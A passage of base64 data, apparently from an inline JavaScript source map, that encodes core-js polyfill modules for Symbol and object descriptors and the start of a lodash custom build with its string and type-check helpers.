HVybiBpdCBpbnN0YW5jZW9mICRTeW1ib2w7XG59O1xuXG52YXIgJGRlZmluZVByb3BlcnR5ID0gZnVuY3Rpb24gZGVmaW5lUHJvcGVydHkoaXQsIGtleSwgRCkge1xuICBpZiAoaXQgPT09IE9iamVjdFByb3RvKSAkZGVmaW5lUHJvcGVydHkoT1BTeW1ib2xzLCBrZXksIEQpO1xuICBhbk9iamVjdChpdCk7XG4gIGtleSA9IHRvUHJpbWl0aXZlKGtleSwgdHJ1ZSk7XG4gIGFuT2JqZWN0KEQpO1xuICBpZiAoaGFzKEFsbFN5bWJvbHMsIGtleSkpIHtcbiAgICBpZiAoIUQuZW51bWVyYWJsZSkge1xuICAgICAgaWYgKCFoYXMoaXQsIEhJRERFTikpIGRQKGl0LCBISURERU4sIGNyZWF0ZURlc2MoMSwge30pKTtcbiAgICAgIGl0W0hJRERFTl1ba2V5XSA9IHRydWU7XG4gICAgfSBlbHNlIHtcbiAgICAgIGlmIChoYXMoaXQsIEhJRERFTikgJiYgaXRbSElEREVOXVtrZXldKSBpdFtISURERU5dW2tleV0gPSBmYWxzZTtcbiAgICAgIEQgPSBfY3JlYXRlKEQsIHsgZW51bWVyYWJsZTogY3JlYXRlRGVzYygwLCBmYWxzZSkgfSk7XG4gICAgfSByZXR1cm4gc2V0U3ltYm9sRGVzYyhpdCwga2V5LCBEKTtcbiAgfSByZXR1cm4gZFAoaXQsIGtleSwgRCk7XG59O1xudmFyICRkZWZpbmVQcm9wZXJ0aWVzID0gZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyhpdCwgUCkge1xuICBhbk9iamVjdChpdCk7XG4gIHZhciBrZXlzID0gZW51bUtleXMoUCA9IHRvSU9iamVjdChQKSk7XG4gIHZhciBpID0gMDtcbiAgdmFyIGwgPSBrZXlzLmxlbmd0aDtcbiAgdmFyIGtleTtcbiAgd2hpbGUgKGwgPiBpKSAkZGVmaW5lUHJvcGVydHkoaXQsIGtleSA9IGtleXNbaSsrXSwgUFtrZXldKTtcbiAgcmV0dXJuIGl0O1xufTtcbnZhciAkY3JlYXRlID0gZnVuY3Rpb24gY3JlYXRlKGl0LCBQKSB7XG4gIHJldHVybiBQID09PSB1bmRlZmluZWQgPyBfY3JlYXRlKGl0KSA6ICRkZWZpbmVQcm9wZXJ0aWVzKF9jcmVhdGUoaXQpLCBQKTtcbn07XG52YXIgJHByb3BlcnR5SXNFbnVtZXJhYmxlID0gZnVuY3Rpb24gcHJvcGVydHlJc0VudW1lcmFibGUoa2V5KSB7XG4gIHZhciBFID0gaXNFbnVtLmNhbGwodGhpcywga2V5ID0gdG9QcmltaXRpdmUoa2V5LCB0cnVlKSk7XG4gIGlmICh0aGlzID09PSBPYmplY3RQcm90byAmJiBoYXMoQWxsU3ltYm9scywga2V5KSAmJiAhaGFzKE9QU3ltYm9scywga2V5KSkgcmV0dXJuIGZhbHNlO1xuICByZXR1cm4gRSB8fCAhaGFzKHRoaXMsIGtleSkgfHwgIWhhcyhBbGxTeW1ib2xzLCBrZXkpIHx8IGhhcyh0aGlzLCBISURERU4pICYmIHRoaXNbSElEREVOXVtrZXldID8gRSA6IHRydWU7XG59O1xudmFyICRnZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3IgPSBmdW5jdGlvbiBnZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3IoaXQsIGtleSkge1xuICBpdCA9IHRvSU9iamVjdChpdCk7XG4gIGtleSA9IHRvUHJpbWl0aXZlKGtleSwgdHJ1ZSk7XG4gIGlmIChpdCA9PT0gT2JqZWN0UHJvdG8gJiYgaGFzKEFsbFN5bWJvbHMsIGtleSkgJiYgIWhhcyhPUFN5bWJvbHMsIGtleSkpIHJldHVybjtcbiAgdmFyIEQgPSBnT1BEKGl0LCBrZXkpO1xuICBpZiAoRCAmJiBoYXMoQWxsU3ltYm9scywga2V5KSAmJiAhKGhhcyhpdCwgSElEREVOKSAmJiBpdFtISURERU5dW2tleV0pKSBELmVudW1lcmFibGUgPSB0cnVlO1xuICByZXR1cm4gRDtcbn07XG52YXIgJGdldE93blByb3BlcnR5TmFtZXMgPSBmdW5jdGlvbiBnZXRPd25Qcm9wZXJ0eU5hbWVzKGl0KSB7XG4gIHZhciBuYW1lcyA9IGdPUE4odG9JT2JqZWN0KGl0KSk7XG4gIHZhciByZXN1bHQgPSBbXTtcbiAgdmFyIGkgPSAwO1xuICB2YXIga2V5O1xuICB3aGlsZSAobmFtZXMubGVuZ3RoID4gaSkge1xuICAgIGlmICghaGFzKEFsbFN5bWJvbHMsIGtleSA9IG5hbWVzW2krK10pICYmIGtleSAhPSBISURERU4gJiYga2V5ICE9IE1FVEEpIHJlc3VsdC5wdXNoKGtleSk7XG4gIH0gcmV0dXJuIHJlc3VsdDtcbn07XG52YXIgJGdldE93blByb3BlcnR5U3ltYm9scyA9IGZ1bmN0aW9uIGdldE93blByb3BlcnR5U3ltYm9scyhpdCkge1xuICB2YXIgSVNfT1AgPSBpdCA9PT0gT2JqZWN0UHJvdG87XG4gIHZhciBuYW1lcyA9IGdPUE4oSVNfT1AgPyBPUFN5bWJvbHMgOiB0b0lPYmplY3QoaXQpKTtcbiAgdmFyIHJlc3VsdCA9IFtdO1xuICB2YXIgaSA9IDA7XG4gIHZhciBrZXk7XG4gIHdoaWxlIChuYW1lcy5sZW5ndGggPiBpKSB7XG4gICAgaWYgKGhhcyhBbGxTeW1ib2xzLCBrZXkgPSBuYW1lc1tpKytdKSAmJiAoSVNfT1AgPyBoYXMoT2JqZWN0UHJvdG8sIGtleSkgOiB0cnVlKSkgcmVzdWx0LnB1c2goQWxsU3ltYm9sc1trZXldKTtcbiAgfSByZXR1cm4gcmVzdWx0O1xufTtcblxuLy8gMTkuNC4xLjEgU3ltYm9sKFtkZXNjcmlwdGlvbl0pXG5pZiAoIVVTRV9OQVRJVkUpIHtcbiAgJFN5bWJvbCA9IGZ1bmN0aW9uIFN5bWJvbCgpIHtcbiAgICBpZiAodGhpcyBpbnN0YW5jZW9mICRTeW1ib2wpIHRocm93IFR5cGVFcnJvcignU3ltYm9sIGlzIG5vdCBhIGNvbnN0cnVjdG9yIScpO1xuICAgIHZhciB0YWcgPSB1aWQoYXJndW1lbnRzLmxlbmd0aCA+IDAgPyBhcmd1bWVudHNbMF0gOiB1bmRlZmluZWQpO1xuICAgIHZhciAkc2V0ID0gZnVuY3Rpb24gKHZhbHVlKSB7XG4gICAgICBpZiAodGhpcyA9PT0gT2JqZWN0UHJvdG8pICRzZXQuY2FsbChPUFN5bWJvbHMsIHZhbHVlKTtcbiAgICAgIGlmIChoYXModGhpcywgSElEREVOKSAmJiBoYXModGhpc1tISURERU5dLCB0YWcpKSB0aGlzW0hJRERFTl1bdGFnXSA9IGZhbHNlO1xuICAgICAgc2V0U3ltYm9sRGVzYyh0aGlzLCB0YWcsIGNyZWF0ZURlc2MoMSwgdmFsdWUpKTtcbiAgICB9O1xuICAgIGlmIChERVNDUklQVE9SUyAmJiBzZXR0ZXIpIHNldFN5bWJvbERlc2MoT2JqZWN0UHJvdG8sIHRhZywgeyBjb25maWd1cmFibGU6IHRydWUsIHNldDogJHNldCB9KTtcbiAgICByZXR1cm4gd3JhcCh0YWcpO1xuICB9O1xuICByZWRlZmluZSgkU3ltYm9sW1BST1RPVFlQRV0sICd0b1N0cmluZycsIGZ1bmN0aW9uIHRvU3RyaW5nKCkge1xuICAgIHJldHVybiB0aGlzLl9rO1xuICB9KTtcblxuICAkR09QRC5mID0gJGdldE93blByb3BlcnR5RGVzY3JpcHRvcjtcbiAgJERQLmYgPSAkZGVmaW5lUHJvcGVydHk7XG4gIHJlcXVpcmUoJy4vX29iamVjdC1nb3BuJykuZiA9IGdPUE5FeHQuZiA9ICRnZXRPd25Qcm9wZXJ0eU5hbWVzO1xuICByZXF1aXJlKCcuL19vYmplY3QtcGllJykuZiA9ICRwcm9wZXJ0eUlzRW51bWVyYWJsZTtcbiAgJEdPUFMuZiA9ICRnZXRPd25Qcm9wZXJ0eVN5bWJvbHM7XG5cbiAgaWYgKERFU0NSSVBUT1JTICYmICFyZXF1aXJlKCcuL19saWJyYXJ5JykpIHtcbiAgICByZWRlZmluZShPYmplY3RQcm90bywgJ3Byb3BlcnR5SXNFbnVtZXJhYmxlJywgJHByb3BlcnR5SXNFbnVtZXJhYmxlLCB0cnVlKTtcbiAgfVxuXG4gIHdrc0V4dC5mID0gZnVuY3Rpb24gKG5hbWUpIHtcbiAgICByZXR1cm4gd3JhcCh3a3MobmFtZSkpO1xuICB9O1xufVxuXG4kZXhwb3J0KCRleHBvcnQuRyArICRleHBvcnQuVyArICRleHBvcnQuRiAqICFVU0VfTkFUSVZFLCB7IFN5bWJvbDogJFN5bWJvbCB9KTtcblxuZm9yICh2YXIgZXM2U3ltYm9scyA9IChcbiAgLy8gMTkuNC4yLjIsIDE5LjQuMi4zLCAxOS40LjIuNCwgMTkuNC4yLjYsIDE5LjQuMi44LCAxOS40LjIuOSwgMTkuNC4yLjEwLCAxOS40LjIuMTEsIDE5LjQuMi4xMiwgMTkuNC4yLjEzLCAxOS40LjIuMTRcbiAgJ2hhc0luc3RhbmNlLGlzQ29uY2F0U3ByZWFkYWJsZSxpdGVyYXRvcixtYXRjaCxyZXBsYWNlLHNlYXJjaCxzcGVjaWVzLHNwbGl0LHRvUHJpbWl0aXZlLHRvU3RyaW5nVGFnLHVuc2NvcGFibGVzJ1xuKS5zcGxpdCgnLCcpLCBqID0gMDsgZXM2U3ltYm9scy5sZW5ndGggPiBqOyl3a3MoZXM2U3ltYm9sc1tqKytdKTtcblxuZm9yICh2YXIgd2VsbEtub3duU3ltYm9scyA9ICRrZXlzKHdrcy5zdG9yZSksIGsgPSAwOyB3ZWxsS25vd25TeW1ib2xzLmxlbmd0aCA+IGs7KSB3a3NEZWZpbmUod2VsbEtub3duU3ltYm9sc1trKytdKTtcblxuJGV4cG9ydCgkZXhwb3J0LlMgKyAkZXhwb3J0LkYgKiAhVVNFX05BVElWRSwgJ1N5bWJvbCcsIHtcbiAgLy8gMTkuNC4yLjEgU3ltYm9sLmZvcihrZXkpXG4gICdmb3InOiBmdW5jdGlvbiAoa2V5KSB7XG4gICAgcmV0dXJuIGhhcyhTeW1ib2xSZWdpc3RyeSwga2V5ICs9ICcnKVxuICAgICAgPyBTeW1ib2xSZWdpc3RyeVtrZXldXG4gICAgICA6IFN5bWJvbFJlZ2lzdHJ5W2tleV0gPSAkU3ltYm9sKGtleSk7XG4gIH0sXG4gIC8vIDE5LjQuMi41IFN5bWJvbC5rZXlGb3Ioc3ltKVxuICBrZXlGb3I6IGZ1bmN0aW9uIGtleUZvcihzeW0pIHtcbiAgICBpZiAoIWlzU3ltYm9sKHN5bSkpIHRocm93IFR5cGVFcnJvcihzeW0gKyAnIGlzIG5vdCBhIHN5bWJvbCEnKTtcbiAgICBmb3IgKHZhciBrZXkgaW4gU3ltYm9sUmVnaXN0cnkpIGlmIChTeW1ib2xSZWdpc3RyeVtrZXldID09PSBzeW0pIHJldHVybiBrZXk7XG4gIH0sXG4gIHVzZVNldHRlcjogZnVuY3Rpb24gKCkgeyBzZXR0ZXIgPSB0cnVlOyB9LFxuICB1c2VTaW1wbGU6IGZ1bmN0aW9uICgpIHsgc2V0dGVyID0gZmFsc2U7IH1cbn0pO1xuXG4kZXhwb3J0KCRleHBvcnQuUyArICRleHBvcnQuRiAqICFVU0VfTkFUSVZFLCAnT2JqZWN0Jywge1xuICAvLyAxOS4xLjIuMiBPYmplY3QuY3JlYXRlKE8gWywgUHJvcGVydGllc10pXG4gIGNyZWF0ZTogJGNyZWF0ZSxcbiAgLy8gMTkuMS4yLjQgT2JqZWN0LmRlZmluZVByb3BlcnR5KE8sIFAsIEF0dHJpYnV0ZXMpXG4gIGRlZmluZVByb3BlcnR5OiAkZGVmaW5lUHJvcGVydHksXG4gIC8vIDE5LjEuMi4zIE9iamVjdC5kZWZpbmVQcm9wZXJ0aWVzKE8sIFByb3BlcnRpZXMpXG4gIGRlZmluZVByb3BlcnRpZXM6ICRkZWZpbmVQcm9wZXJ0aWVzLFxuICAvLyAxOS4xLjIuNiBPYmplY3QuZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yKE8sIFApXG4gIGdldE93blByb3BlcnR5RGVzY3JpcHRvcjogJGdldE93blByb3BlcnR5RGVzY3JpcHRvcixcbiAgLy8gMTkuMS4yLjcgT2JqZWN0LmdldE93blByb3BlcnR5TmFtZXMoTylcbiAgZ2V0T3duUHJvcGVydHlOYW1lczogJGdldE93blByb3BlcnR5TmFtZXMsXG4gIC8vIDE5LjEuMi44IE9iamVjdC5nZXRPd25Qcm9wZXJ0eVN5bWJvbHMoTylcbiAgZ2V0T3duUHJvcGVydHlTeW1ib2xzOiAkZ2V0T3duUHJvcGVydHlTeW1ib2xzXG59KTtcblxuLy8gQ2hyb21lIDM4IGFuZCAzOSBgT2JqZWN0LmdldE93blByb3BlcnR5U3ltYm9sc2AgZmFpbHMgb24gcHJpbWl0aXZlc1xuLy8gaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Y4L2lzc3Vlcy9kZXRhaWw/aWQ9MzQ0M1xudmFyIEZBSUxTX09OX1BSSU1JVElWRVMgPSAkZmFpbHMoZnVuY3Rpb24gKCkgeyAkR09QUy5mKDEpOyB9KTtcblxuJGV4cG9ydCgkZXhwb3J0LlMgKyAkZXhwb3J0LkYgKiBGQUlMU19PTl9QUklNSVRJVkVTLCAnT2JqZWN0Jywge1xuICBnZXRPd25Qcm9wZXJ0eVN5bWJvbHM6IGZ1bmN0aW9uIGdldE93blByb3BlcnR5U3ltYm9scyhpdCkge1xuICAgIHJldHVybiAkR09QUy5mKHRvT2JqZWN0KGl0KSk7XG4gIH1cbn0pO1xuXG4vLyAyNC4zLjIgSlNPTi5zdHJpbmdpZnkodmFsdWUgWywgcmVwbGFjZXIgWywgc3BhY2VdXSlcbiRKU09OICYmICRleHBvcnQoJGV4cG9ydC5TICsgJGV4cG9ydC5GICogKCFVU0VfTkFUSVZFIHx8ICRmYWlscyhmdW5jdGlvbiAoKSB7XG4gIHZhciBTID0gJFN5bWJvbCgpO1xuICAvLyBNUyBFZGdlIGNvbnZlcnRzIHN5bWJvbCB2YWx1ZXMgdG8gSlNPTiBhcyB7fVxuICAvLyBXZWJLaXQgY29udmVydHMgc3ltYm9sIHZhbHVlcyB0byBKU09OIGFzIG51bGxcbiAgLy8gVjggdGhyb3dzIG9uIGJveGVkIHN5bWJvbHNcbiAgcmV0dXJuIF9zdHJpbmdpZnkoW1NdKSAhPSAnW251bGxdJyB8fCBfc3RyaW5naWZ5KHsgYTogUyB9KSAhPSAne30nIHx8IF9zdHJpbmdpZnkoT2JqZWN0KFMpKSAhPSAne30nO1xufSkpLCAnSlNPTicsIHtcbiAgc3RyaW5naWZ5OiBmdW5jdGlvbiBzdHJpbmdpZnkoaXQpIHtcbiAgICB2YXIgYXJncyA9IFtpdF07XG4gICAgdmFyIGkgPSAxO1xuICAgIHZhciByZXBsYWNlciwgJHJlcGxhY2VyO1xuICAgIHdoaWxlIChhcmd1bWVudHMubGVuZ3RoID4gaSkgYXJncy5wdXNoKGFyZ3VtZW50c1tpKytdKTtcbiAgICAkcmVwbGFjZXIgPSByZXBsYWNlciA9IGFyZ3NbMV07XG4gICAgaWYgKCFpc09iamVjdChyZXBsYWNlcikgJiYgaXQgPT09IHVuZGVmaW5lZCB8fCBpc1N5bWJvbChpdCkpIHJldHVybjsgLy8gSUU4IHJldHVybnMgc3RyaW5nIG9uIHVuZGVmaW5lZFxuICAgIGlmICghaXNBcnJheShyZXBsYWNlcikpIHJlcGxhY2VyID0gZnVuY3Rpb24gKGtleSwgdmFsdWUpIHtcbiAgICAgIGlmICh0eXBlb2YgJHJlcGxhY2VyID09ICdmdW5jdGlvbicpIHZhbHVlID0gJHJlcGxhY2VyLmNhbGwodGhpcywga2V5LCB2YWx1ZSk7XG4gICAgICBpZiAoIWlzU3ltYm9sKHZhbHVlKSkgcmV0dXJuIHZhbHVlO1xuICAgIH07XG4gICAgYXJnc1sxXSA9IHJlcGxhY2VyO1xuICAgIHJldHVybiBfc3RyaW5naWZ5LmFwcGx5KCRKU09OLCBhcmdzKTtcbiAgfVxufSk7XG5cbi8vIDE5LjQuMy40IFN5bWJvbC5wcm90b3R5cGVbQEB0b1ByaW1pdGl2ZV0oaGludClcbiRTeW1ib2xbUFJPVE9UWVBFXVtUT19QUklNSVRJVkVdIHx8IHJlcXVpcmUoJy4vX2hpZGUnKSgkU3ltYm9sW1BST1RPVFlQRV0sIFRPX1BSSU1JVElWRSwgJFN5bWJvbFtQUk9UT1RZUEVdLnZhbHVlT2YpO1xuLy8gMTkuNC4zLjUgU3ltYm9sLnByb3RvdHlwZVtAQHRvU3RyaW5nVGFnXVxuc2V0VG9TdHJpbmdUYWcoJFN5bWJvbCwgJ1N5bWJvbCcpO1xuLy8gMjAuMi4xLjkgTWF0aFtAQHRvU3RyaW5nVGFnXVxuc2V0VG9TdHJpbmdUYWcoTWF0aCwgJ01hdGgnLCB0cnVlKTtcbi8vIDI0LjMuMyBKU09OW0BAdG9TdHJpbmdUYWddXG5zZXRUb1N0cmluZ1RhZyhnbG9iYWwuSlNPTiwgJ0pTT04nLCB0cnVlKTtcbiIsInJlcXVpcmUoJy4vX3drcy1kZWZpbmUnKSgnYXN5bmNJdGVyYXRvcicpO1xuIiwicmVxdWlyZSgnLi9fd2tzLWRlZmluZScpKCdvYnNlcnZhYmxlJyk7XG4iLCJyZXF1aXJlKCcuL2VzNi5hcnJheS5pdGVyYXRvcicpO1xudmFyIGdsb2JhbCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpO1xudmFyIGhpZGUgPSByZXF1aXJlKCcuL19oaWRlJyk7XG52YXIgSXRlcmF0b3JzID0gcmVxdWlyZSgnLi9faXRlcmF0b3JzJyk7XG52YXIgVE9fU1RSSU5HX1RBRyA9IHJlcXVpcmUoJy4vX3drcycpKCd0b1N0cmluZ1RhZycpO1xuXG52YXIgRE9NSXRlcmFibGVzID0gKCdDU1NSdWxlTGlzdCxDU1NTdHlsZURlY2xhcmF0aW9uLENTU1ZhbHVlTGlzdCxDbGllbnRSZWN0TGlzdCxET01SZWN0TGlzdCxET01TdHJpbmdMaXN0LCcgK1xuICAnRE9NVG9rZW5MaXN0LERhdGFUcmFuc2Zlckl0ZW1MaXN0LEZpbGVMaXN0LEhUTUxBbGxDb2xsZWN0aW9uLEhUTUxDb2xsZWN0aW9uLEhUTUxGb3JtRWxlbWVudCxIVE1MU2VsZWN0RWxlbWVudCwnICtcbiAgJ01lZGlhTGlzdCxNaW1lVHlwZUFycmF5LE5hbWVkTm9kZU1hcCxOb2RlTGlzdCxQYWludFJlcXVlc3RMaXN0LFBsdWdpbixQbHVnaW5BcnJheSxTVkdMZW5ndGhMaXN0LFNWR051bWJlckxpc3QsJyArXG4gICdTVkdQYXRoU2VnTGlzdCxTVkdQb2ludExpc3QsU1ZHU3RyaW5nTGlzdCxTVkdUcmFuc2Zvcm1MaXN0LFNvdXJjZUJ1ZmZlckxpc3QsU3R5bGVTaGVldExpc3QsVGV4dFRyYWNrQ3VlTGlzdCwnICtcbiAgJ1RleHRUcmFja0xpc3QsVG91Y2hMaXN0Jykuc3BsaXQoJywnKTtcblxuZm9yICh2YXIgaSA9IDA7IGkgPCBET01JdGVyYWJsZXMubGVuZ3RoOyBpKyspIHtcbiAgdmFyIE5BTUUgPSBET01JdGVyYWJsZXNbaV07XG4gIHZhciBDb2xsZWN0aW9uID0gZ2xvYmFsW05BTUVdO1xuICB2YXIgcHJvdG8gPSBDb2xsZWN0aW9uICYmIENvbGxlY3Rpb24ucHJvdG90eXBlO1xuICBpZiAocHJvdG8gJiYgIXByb3RvW1RPX1NUUklOR19UQUddKSBoaWRlKHByb3RvLCBUT19TVFJJTkdfVEFHLCBOQU1FKTtcbiAgSXRlcmF0b3JzW05BTUVdID0gSXRlcmF0b3JzLkFycmF5O1xufVxuIiwiLyoqXG4gKiBsb2Rhc2ggKEN1c3RvbSBCdWlsZCkgPGh0dHBzOi8vbG9kYXNoLmNvbS8+XG4gKiBCdWlsZDogYGxvZGFzaCBtb2R1bGFyaXplIGV4cG9ydHM9XCJucG1cIiAtbyAuL2BcbiAqIENvcHlyaWdodCBqUXVlcnkgRm91bmRhdGlvbiBhbmQgb3RoZXIgY29udHJpYnV0b3JzIDxodHRwczovL2pxdWVyeS5vcmcvPlxuICogUmVsZWFzZWQgdW5kZXIgTUlUIGxpY2Vuc2UgPGh0dHBzOi8vbG9kYXNoLmNvbS9saWNlbnNlPlxuICogQmFzZWQgb24gVW5kZXJzY29yZS5qcyAxLjguMyA8aHR0cDovL3VuZGVyc2NvcmVqcy5vcmcvTElDRU5TRT5cbiAqIENvcHlyaWdodCBKZXJlbXkgQXNoa2VuYXMsIERvY3VtZW50Q2xvdWQgYW5kIEludmVzdGlnYXRpdmUgUmVwb3J0ZXJzICYgRWRpdG9yc1xuICovXG5cbi8qKiBVc2VkIGFzIHJlZmVyZW5jZXMgZm9yIHZhcmlvdXMgYE51bWJlcmAgY29uc3RhbnRzLiAqL1xudmFyIElORklOSVRZID0gMSAvIDA7XG5cbi8qKiBgT2JqZWN0I3RvU3RyaW5nYCByZXN1bHQgcmVmZXJlbmNlcy4gKi9cbnZhciBzeW1ib2xUYWcgPSAnW29iamVjdCBTeW1ib2xdJztcblxuLyoqXG4gKiBVc2VkIHRvIG1hdGNoIGBSZWdFeHBgXG4gKiBbc3ludGF4IGNoYXJhY3RlcnNdKGh0dHA6Ly9lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzYuMC8jc2VjLXBhdHRlcm5zKS5cbiAqL1xudmFyIHJlUmVnRXhwQ2hhciA9IC9bXFxcXF4kLiorPygpW1xcXXt9fF0vZyxcbiAgICByZUhhc1JlZ0V4cENoYXIgPSBSZWdFeHAocmVSZWdFeHBDaGFyLnNvdXJjZSk7XG5cbi8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZSBgZ2xvYmFsYCBmcm9tIE5vZGUuanMuICovXG52YXIgZnJlZUdsb2JhbCA9IHR5cGVvZiBnbG9iYWwgPT0gJ29iamVjdCcgJiYgZ2xvYmFsICYmIGdsb2JhbC5PYmplY3QgPT09IE9iamVjdCAmJiBnbG9iYWw7XG5cbi8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZSBgc2VsZmAuICovXG52YXIgZnJlZVNlbGYgPSB0eXBlb2Ygc2VsZiA9PSAnb2JqZWN0JyAmJiBzZWxmICYmIHNlbGYuT2JqZWN0ID09PSBPYmplY3QgJiYgc2VsZjtcblxuLyoqIFVzZWQgYXMgYSByZWZlcmVuY2UgdG8gdGhlIGdsb2JhbCBvYmplY3QuICovXG52YXIgcm9vdCA9IGZyZWVHbG9iYWwgfHwgZnJlZVNlbGYgfHwgRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcblxuLyoqIFVzZWQgZm9yIGJ1aWx0LWluIG1ldGhvZCByZWZlcmVuY2VzLiAqL1xudmFyIG9iamVjdFByb3RvID0gT2JqZWN0LnByb3RvdHlwZTtcblxuLyoqXG4gKiBVc2VkIHRvIHJlc29sdmUgdGhlXG4gKiBbYHRvU3RyaW5nVGFnYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNi4wLyNzZWMtb2JqZWN0LnByb3RvdHlwZS50b3N0cmluZylcbiAqIG9mIHZhbHVlcy5cbiAqL1xudmFyIG9iamVjdFRvU3RyaW5nID0gb2JqZWN0UHJvdG8udG9TdHJpbmc7XG5cbi8qKiBCdWlsdC1pbiB2YWx1ZSByZWZlcmVuY2VzLiAqL1xudmFyIFN5bWJvbCA9IHJvb3QuU3ltYm9sO1xuXG4vKiogVXNlZCB0byBjb252ZXJ0IHN5bWJvbHMgdG8gcHJpbWl0aXZlcyBhbmQgc3RyaW5ncy4gKi9cbnZhciBzeW1ib2xQcm90byA9IFN5bWJvbCA/IFN5bWJvbC5wcm90b3R5cGUgOiB1bmRlZmluZWQsXG4gICAgc3ltYm9sVG9TdHJpbmcgPSBzeW1ib2xQcm90byA/IHN5bWJvbFByb3RvLnRvU3RyaW5nIDogdW5kZWZpbmVkO1xuXG4vKipcbiAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnRvU3RyaW5nYCB3aGljaCBkb2Vzbid0IGNvbnZlcnQgbnVsbGlzaFxuICogdmFsdWVzIHRvIGVtcHR5IHN0cmluZ3MuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHByb2Nlc3MuXG4gKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBzdHJpbmcuXG4gKi9cbmZ1bmN0aW9uIGJhc2VUb1N0cmluZyh2YWx1ZSkge1xuICAvLyBFeGl0IGVhcmx5IGZvciBzdHJpbmdzIHRvIGF2b2lkIGEgcGVyZm9ybWFuY2UgaGl0IGluIHNvbWUgZW52aXJvbm1lbnRzLlxuICBpZiAodHlwZW9mIHZhbHVlID09ICdzdHJpbmcnKSB7XG4gICAgcmV0dXJuIHZhbHVlO1xuICB9XG4gIGlmIChpc1N5bWJvbCh2YWx1ZSkpIHtcbiAgICByZXR1cm4gc3ltYm9sVG9TdHJpbmcgPyBzeW1ib2xUb1N0cmluZy5jYWxsKHZhbHVlKSA6ICcnO1xuICB9XG4gIHZhciByZXN1bHQgPSAodmFsdWUgKyAnJyk7XG4gIHJldHVybiAocmVzdWx0ID09ICcwJyAmJiAoMSAvIHZhbHVlKSA9PSAtSU5GSU5JVFkpID8gJy0wJyA6IHJlc3VsdDtcbn1cblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBvYmplY3QtbGlrZS4gQSB2YWx1ZSBpcyBvYmplY3QtbGlrZSBpZiBpdCdzIG5vdCBgbnVsbGBcbiAqIGFuZCBoYXMgYSBgdHlwZW9mYCByZXN1bHQgb2YgXCJvYmplY3RcIi5cbiAqXG4gKiBAc3RhdGljXG4gKiBAbWVtYmVyT2YgX1xuICogQHNpbmNlIDQuMC4wXG4gKiBAY2F0ZWdvcnkgTGFuZ1xuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBvYmplY3QtbGlrZSwgZWxzZSBgZmFsc2VgLlxuICogQGV4YW1wbGVcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZSh7fSk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc09iamVjdExpa2UoWzEsIDIsIDNdKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZShfLm5vb3ApO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZShudWxsKTtcbiAqIC8vID0+IGZhbHNlXG4gKi9cbmZ1bmN0aW9uIGlzT2JqZWN0TGlrZSh2YWx1ZSkge1xuICByZXR1cm4gISF2YWx1ZSAmJiB0eXBlb2YgdmFsdWUgPT0gJ29iamVjdCc7XG59XG5cbi8qKlxuICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgY2xhc3NpZmllZCBhcyBhIGBTeW1ib2xgIHByaW1pdGl2ZSBvciBvYmplY3QuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSA0LjAuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBzeW1ib2wsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc1N5bWJvbChTeW1ib2wuaXRlcmF0b3IpO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNTeW1ib2woJ2FiYycpO1xuICogLy8gPT4gZmFsc2VcbiAqL1xuZnVuY3Rpb24gaXNTeW1ib2wodmFsdWUpIHtcbiAgcmV0dXJuIHR5cGVvZiB2YWx1ZSA9PSAnc3ltYm9sJyB8fFxuICAgIChpc09iamVjdExpa2UodmFsdWUpICYmIG9iamVjdFRvU3RyaW5nLmNhbGwodmFsdWUpID09IHN5bWJvbFRhZyk7XG59XG5cbi8qKlxuICogQ29udmVydHMgYHZhbHVlYCB0byBhIHN0cmluZy4gQW4gZW1wdHkgc3RyaW5nIGlzIHJldHVybmVkIGZvciBgbnVsbGBcbiAqIGFuZCBgdW5kZWZpbmVkYCB2YWx1ZXMuIFRoZSBzaWduIG9mIGAtMGAgaXMgcHJlc2VydmVkLlxuICpcbiAqIEBzdGF0aWNcbiAqIEBtZW1iZXJPZiBfXG4gKiBAc2luY2UgNC4wLjBcbiAqIEBjYXRlZ29yeSBMYW5nXG4gKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBwcm9jZXNzLlxuICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgc3RyaW5nLlxuICogQGV4YW1wbGVcbiAqXG4gKiBfLnRvU3RyaW5nKG51bGwpO1xuICogLy8gPT4gJydcbiAqXG4gKiBfLnRvU3RyaW5nKC0wKTtcbiAqIC8vID0+ICctMCdcbiAqXG4gKiBfLnRvU3RyaW5nKFsxLCAyLCAzXSk7XG4gKiAvLyA9PiAnMSwyLDMnXG